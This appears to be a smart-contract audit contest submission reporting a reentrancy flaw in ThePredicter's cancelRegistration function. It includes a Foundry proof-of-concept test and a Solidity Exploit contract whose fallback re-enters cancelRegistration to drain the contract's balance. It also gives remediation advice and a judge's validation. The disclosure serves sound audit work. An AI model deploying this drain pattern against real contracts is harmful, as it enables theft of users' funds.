First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in ThePredicter.cancelRegistration function leads to complete drain of funds

artilugio0

Summary

The function cancelRegistration in the contract ThePredicter has a reentrancy vulnerability which allows a malicious player to drain the funds in the contract.

Vulnerability Details

The function cancelRegistration in the contract ThePredicter makes a refund of the entrance fee to a Pending Player before changing their status to Canceled. This allows for a malicious contract to register as a player and then call cancelRegistration recursively many times before its status is changed to Canceled, leading to a loss of potentially all of the funds in ThePredicter.

The malicious contract would have to register in ThePredicter using the register function before the registration period finishes, and ensure that it is not approved as a player by the organizer. Once this is done the exploit can be triggered at any time, so an attacker could wait for all of the predictions for the 9 matches to be placed before triggering the exploit to maximize the amount of funds stolen.

This is a test showing a PoC of how an attacker could exploit the vulnerability, based on a test scenario already present in the repository:

pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
​
contract CancelRegistrationReentrancyTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
​
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
​
function test_exploit() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address attacker = makeAddr("attacker");
​
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
​
// create contract exploit
vm.startPrank(attacker);
vm.deal(attacker, 1 ether);
Exploit exploit = new Exploit{value: 0.04 ether}(address(thePredicter));
vm.stopPrank();
​
// make predictions
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
​
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
​
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
​
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
​
assertGt(address(thePredicter).balance, 0.04 ether);
​
​
// run exploit and drain funds
uint256 attackerBalanceBefore = attacker.balance;
vm.startPrank(attacker);
exploit.exploit();
vm.stopPrank();
​
// The predicter was drained
assertLt(address(thePredicter).balance, 0.04 ether);
​
// The attacker has the funds
assertGt(attacker.balance, attackerBalanceBefore);
}
}
​
contract Exploit {
address private owner;
ThePredicter private thePredicter;
uint256 private entranceFee;
​
constructor(address _thePredicter) payable {
ThePredicter tp = ThePredicter(_thePredicter);
entranceFee = tp.entranceFee();
tp.register{value: entranceFee}();
​
thePredicter = tp;
owner = msg.sender;
}
​
function exploit() external {
require(msg.sender == owner);
​
thePredicter.cancelRegistration();
}
​
fallback() external payable {
if (address(thePredicter).balance >= entranceFee) {
thePredicter.cancelRegistration();
} else {
payable(owner).call{value: address(this).balance}("");
}
}
}

Impact

Complete drain of funds of the system

Tools Used

Foundry

Recommendations

  • Fix the cancelRegistration function by following the Check-Effects-Interactions pattern.

Optionally

  • If no contracts are expected to interact with the system, add checks to the functions transferring funds to check that the msg.sender is not a contract.

  • Have a virtual balance to distinguish between funds collected from entrance fees and prediction fees. Add checks to cancelRegistration to ensure only the funds collected from entrance fees are refunded.

  • Implement events on user registration, approval and cancellation to have better visibility of the state of each user in the system.

  • Add reentrancy guards to the functions that make external calls.

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.